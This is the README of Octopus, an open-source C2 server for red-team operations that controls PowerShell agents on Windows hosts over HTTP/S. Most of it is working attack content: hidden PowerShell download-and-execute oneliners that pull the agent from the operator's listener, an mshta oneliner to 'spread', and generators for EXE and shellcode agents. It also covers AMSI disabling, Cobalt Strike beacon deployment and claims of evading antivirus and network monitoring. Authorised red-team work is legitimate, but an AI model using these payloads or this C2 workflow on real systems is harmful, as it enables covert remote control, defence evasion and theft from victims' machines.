

GitHub - mhaskar/Octopus: Open source pre-operation C2 server based on python and powershell

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What is Octopus ?

Octopus is an open source, pre-operation C2 server based on python which can control an Octopus powershell agent through HTTP/S.

The main purpose of creating Octopus is for use before any red team operation, where rather than starting the engagement with your full operational arsenal and infrastructure, you can use Octopus first to attack the target and gather information before you start your actual red team operation.

Octopus works in a very simple way to execute commands and exchange information with the C2 over a well encrypted channel, which makes it inconspicuous and undetectable from almost every AV, endpoint protection, and network monitoring solution.

One cool feature in Octopus is called ESA, which stands for "Endpoint Situational Awareness", which will gather some important information about the target that will help you to gain better understanding of the target network endpoints that you will face during your operation, thus giving you a shot to customize your real operation based on this information.

Octopus is designed to be stealthy and covert while communicating with the C2, as it uses AES-256 by default for its encrypted channel between the powershell agent and the C2 server. You can also opt for using SSL/TLS by providing a valid certificate for your domain and configuring the Octopus C2 server to use it.

Octopus key features

Octopus is packed with a number of features that allows you to gain an insight into your upcoming engagement before you actually need to deploy your full arsenal or tools and techniques, such as:

- Control agents through HTTP/S.
- Execute system commands.
- Download / Upload files.
- Load external powershell modules.
- Use encrypted channels (AES-256) between C2 and agents.
- Use inconspicuous techniques to execute commands and transfer results.
- Create custom and multiple listeners for each target.
- Generate different types of payloads.
- Support all windows versions with powershell 2.0 and higher.

- Run Octopus windows executable agent without touching powershell.exe process.
- **Gather information automatically from the endpoint (endpoint situational awareness) feature.**

Requirements

You can install all of Octopus' requirements via :

```
pip install -r requirements.txt
```

You need to install `nasm` for linux and 'mingw-w64' compiler to use the shellcoding feature and the spoofed args agent.

You can install nasm on Debian based distros using:

```
apt install nasm
```

And you can install `mingw-w64` on Debian based distros using:

```
apt install mingw-w64
```

Octopus has been tested on the following operating systems:

- Ubuntu (18.04)
- Ubuntu (16.04)
- Kali Linux (2019.2)

You will also need to install mono to make sure that you can compile the C# source without issues.

Octopus depends on mono-csc binary to compile the C# source and you can install it by the following command

```
apt install mono-devel
```

 which has been tested on kali and ubuntu 16.04.

you can use Octopus without installing mono but you will not be able to use `generate_exe` command.

Also please note that compiling C# depends on the `System.Management.Automation.dll` assembly with SHA1 hash a43ed886b68c6ee913da85df9ad2064f1d81c470.

If you encounter any issues using Octopus, feel free to file a [bug report](#)!

Installation

First of all make sure to download the latest version of Octopus using the following command :

```
git clone https://github.com/mhaskar/Octopus/
```

Then you need to install the requirements using the following command :

```
pip install -r requirements.txt
```

After that you can start the octopus server by running the following :

`./octopus.py`

You will be greeted with the following once you run it :

```

└─[askar@hackbook]—[/opt/redteaming/Octopus]
└─┬─ $python3 octopus.py

      ---      ---      ---      ---      ---      ---      ---
    /  ^      /  ^      /  ^      /  ^      /  ^      /  ^      /  ^
  /  /::\    /  /:/    /  ^      /  /::\    /  /::\    \  \:\    /  /:_
 /  /:/^:\  /  /:/    /  /:/    /  /:/^:\  /  /:/^:\  \  \:\    /  /:/ ^
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          v1.2 stable !

Octopus C2 | Control your shells

Octopus >>

```

Usage

Using Octopus is quite simple to use, as you just need to start a listener and generate your agent based on that listener's information.

You can generate as many listeners as you need, and then you can start interacting with your agents that connect to them.

Profile setup

Before you can start using Octopus you have to setup a URL handling profile which will control the C2 behavior and functions, as Octopus is an HTTP based C2 thus it depends on URLs to handle the connections and to guarantee that the URLs will not serve as a signatures or IoC in the network you are currently attacking, the URLs can be easily customized and renamed as needed.

Profile setup currently only support URL handling, auto kill value and headers.

Setting up your profile

To start setting up your profile you need to edit the `profile.py` file , which contains a number of key variables, which are:

- `file_reciever_url`: handles file downloading.
- `report_url`: handle ESA reports.
- `command_send_url`: handles the commands that will be sent to the target.
- `command_receiver_url`: handles commands will be executed on the target.
- `first_ping_url`: handles the first connection from the target.
- `server_response_header`: this header will show in every response.
- `auto_kill`: variable to control when the agent will be killed after N failed connections with the C2

Example:

```
#!/usr/bin/python3

# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers

# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"

# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"

# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"

# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"
```

```
# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"

# will return in every response as Server header
server_response_header = "nginx"

# will return white page that includes HTA script
mshta_url = "/hta"

# auto kill value after n tries

auto_kill = 10
```

The agent and the listeners will be configured to use this profile to communicate with each other. Next we need to know how to create a listener.

Listeners

Octopus has two main listeners, "http listener" and "https listener" , and the options of the two listeners are mostly identical.

HTTP listener :

`listen_http` command takes the following arguments to start:

- BindIP Defines the IP address that will be used by the listener.
- BindPort Defines the port you want to listen on.
- Hostname Will be used to request the payload from.
- Interval How number of seconds the agent will wait before checking for commands.
- URL The name of the page hosting the payload.
- Listener_name Listener name to use.

you can also view an example of it by running the `listen_http` command:

```
Octopus >>listen_http
[-] Please check listener arguments !
Syntax : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener

#####
```

Options info :

BindIP IP address that will be used by the listener
BindPort port you want to listen on
Hostname will be used to request the payload from
Interval how many seconds that agent will wait before check for commands
URL page name will hold the payload
Listener_name listener name to use

Octopus >>

And we can start a listener using the following command :

```
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
```

The following result will be returned:

```
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
  WARNING: Do not use the development server in a production environment.
  Use a production WSGI server instead.
* Debug mode: off

Octopus >>
```

a listener has been started successfully, and we can view all the listeners using the `listeners` command:

```
Octopus >>listeners

Name        IP        Port    Host            Interval    Path        SSL
-----
operation1  0.0.0.0    8080    192.168.178.1        5    page.php    False

Octopus >>
```

HTTPS listener :

To create an HTTPS listener you can use `listen_https` command as such:

```
Octopus >>listen_https
[-] Please check listener arguments !
Syntax : listen_https BindIP BindPort hostname interval URL listener_name certificate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.per
```

```
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
  WARNING: Do not use the development server in a production environment.
  Use a production WSGI server instead.
* Debug mode: off

Octopus >>
```

The `listen_https` command takes the following arguments to start:

- BindIP : which is the IP address that will be used by the listener
- BindPort : which is the port you want to listen on
- Hostname : will be used to request the payload from
- Interval : how many seconds that agent will wait before check for commands
- URL page : name will hold the payload
- Listener_name : listener name to use
- certificate_path : path for valid ssl certificate (called fullchain.pem for letsencrypt certificates)
- key_path : path for valid key for the ssl certificate (called key.pem for letsencrypt certificates)

Please note that you need to provide a valid SSL certificate that is associated with the domain used.

Generate agents

Powershell oneliner

To generate an agent for the listener `operation1` we can use the following command:

```
generate_powershell operation1
```

and we will get the following result:

```
Octopus >>generate_powershell operation1
#=====
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080,
3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');I

Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
      e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadStr:

Hack your way in ;)
#=====
```

```
Octopus >>
```

Now we can use this oneliner to start our agent.

HTA oneliner

To generate a HTA oneliner for the listener1 `operation1` we can use the following command:

```
generate_hta operation1
```

and we will get the following results:

```
Octopus >>generate_hta operation1
#=====
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#=====
Octopus >>
```

Please note that you can edit the `/hta` URL using `profile.py`

Octopus EXE agent

To generate an EXE agent for listener `operation1` we can use the following command:

```
generate_unmanaged_exe operation1 /opt/Octopus/file.exe
```

and we will get the following result:

```
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>
```

Please note that you have to install mono-csc to compile the C# source.

Octopus Spoofed arguments agent

You can generate a new EXE agent that will run a Powershell process with spoofed arguments based on [Adam Chester's brilliant research](#).

To generate this exe, you can use the following command:

```
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax : generate_spoofed_args_exe listener_name output_path
```

```
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe  
Octopus >>
```

Generate x64 shellcode and x86 shellcode

Octopus can generate both x64 and x86 shellcode starting from version 1.2, the generated shellcode is using CreateProcessA to start powershell.exe oneliner that will launch powershell agent.

To generate x64 shellcode, you can use the following command:

```
Octopus >>generate_x64_shellcode  
[-] Please select a listener and check your options !  
Syntax : generate_x64_shellcode listener_name  
Example : generate_x64_shellcode listener1  
Octopus >>
```

To generate x86 shellcode, you can use the following command:

```
Octopus >>generate_x86_shellcode  
[-] Please select a listener and check your options !  
Syntax : generate_x86_shellcode listener_name  
Example : generate_x86_shellcode listener1  
Octopus >>
```

Interacting with agents

First of all you can list all connected agents using the `list` command to get the following results:

```
Octopus >>list
```

Session	IP	Hostname	PID	Username	Domain	Last ping	OS
1	192.168.1.43	HR-PC-TYRMJ	10056	hr-pc\labuser	darkside.com	Tue Sep 3 10:22:07 2019	Microsoft W

```
Octopus >>
```

And then we can use the `interact` command to interact with the host as follows:

```
Octopus >>list
```

Session	IP	Hostname	PID	Username	Domain	Last ping	OS
---------	----	----------	-----	----------	--------	-----------	----

```
-----  
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft W:
```

```
Octopus >>interact 1  
(HR-PC-TYRMJ) >>
```

You can list all the available commands using the `help` command like the following:

```
Octopus >>list
```

```
-----  
Session IP Hostname PID Username Domain Last ping OS  
-----  
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft W:
```

```
Octopus >>interact 1  
(HR-PC-TYRMJ) >> help
```

Available commands to use :

Hint : if you want to execute system command just type it and wait for the results

```
+++++++
```

```
help show this help menu  
exit/back exit current session and back to the main screen  
clear clear the screen output  
download download file from the target machine  
deploy_cobalt_beacon deploy cobalt strike powershell beacon in the current process  
load load powershell module to the target machine  
disable_amsi disable AMSI on the target machine  
report get situation report from the target
```

```
(HR-PC-TYRMJ) >>
```

To execute a system command directly we can type the command directly and then wait for the results based on the interval check time that we set when we created the listener.

```
(HR-PC-TYRMJ) >> ipconfig  
[+] Command sent , waiting for results  
(HR-PC-TYRMJ) >>  
Command execution result is :
```

Windows IP Configuration

Ethernet adapter Ethernet1:

Media State : Media disconnected
Connection-specific DNS Suffix . :

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix . : home
Link-local IPv6 Address : fe80::f85f:d52b:1d8d:cbae%10
IPv4 Address. : 192.168.1.43
Subnet Mask : 255.255.255.0
Default Gateway : 192.168.1.1

Ethernet adapter Ethernet:

Media State : Media disconnected
Connection-specific DNS Suffix . :

Ethernet adapter Bluetooth Network Connection:

Media State : Media disconnected
Connection-specific DNS Suffix . :

(HR-PC-TYRMJ) >>

In this case the command has been encrypted and then sent to the agent, after that the client will decrypt the command and execute it, the agent will encrypt the results, and finally send it back again to the C2 to decrypt it and show the results.

We can also use the `report` command to get the ESA information like the following:

```
(HR-PC-TYRMJ) >> report  
[+] Command sent , waiting for results  
(HR-PC-TYRMJ) >>  
Endpoint situation awareness report for HR-PC-QNGAV  
  
=====  
Hostname :      HR-PC-QNGAV  
Domain :      darkside.com  
OS :          Microsoft Windows 10 Pro(64-bit)  
OS build :     10.0.17134
```

```
OS arch :      64-bit
AntiVirus :    Symantec
SIEM solution : False
Internal interfaces/IPs :
    IP : 192.168.178.144
    IP : 172.12.1.20

Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)

(HR-PC-TYRMJ) >>
```

You can load an external powershell module by placing it in the `modules` directory, then executing `load module.ps1` .

Also you can list all of the modules in the modules directory by executing the `modules` command like so:

```
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>
```

More about Octopus

- [Octopus v1.0 stable: Cobalt Strike deployment & much more!](#)
- [Unveiling Octopus: The pre-operation C2 for Red Teamers](#)

Credits

- [Ian Lyte](#) for reporting multiple bugs in Octopus and pushing an enhanced AMSI bypass module.
- [Khlief](#) for adding HTA module and fix a bug in download feature
- [Moath Maharmah](#) for enhancing the encryption module and writing a standalone C# Octopus agent which will be added to the upcoming release.
- [TeslaPulse](#) for testing Octopus
- [J005](#) for adding enhanced Powershell oneliner and fix an issue in the HID attack script.

License

This project is licensed under the GPL-3.0 License - see the LICENSE file for details

Source: <https://github.com/mhaskar/Octopus>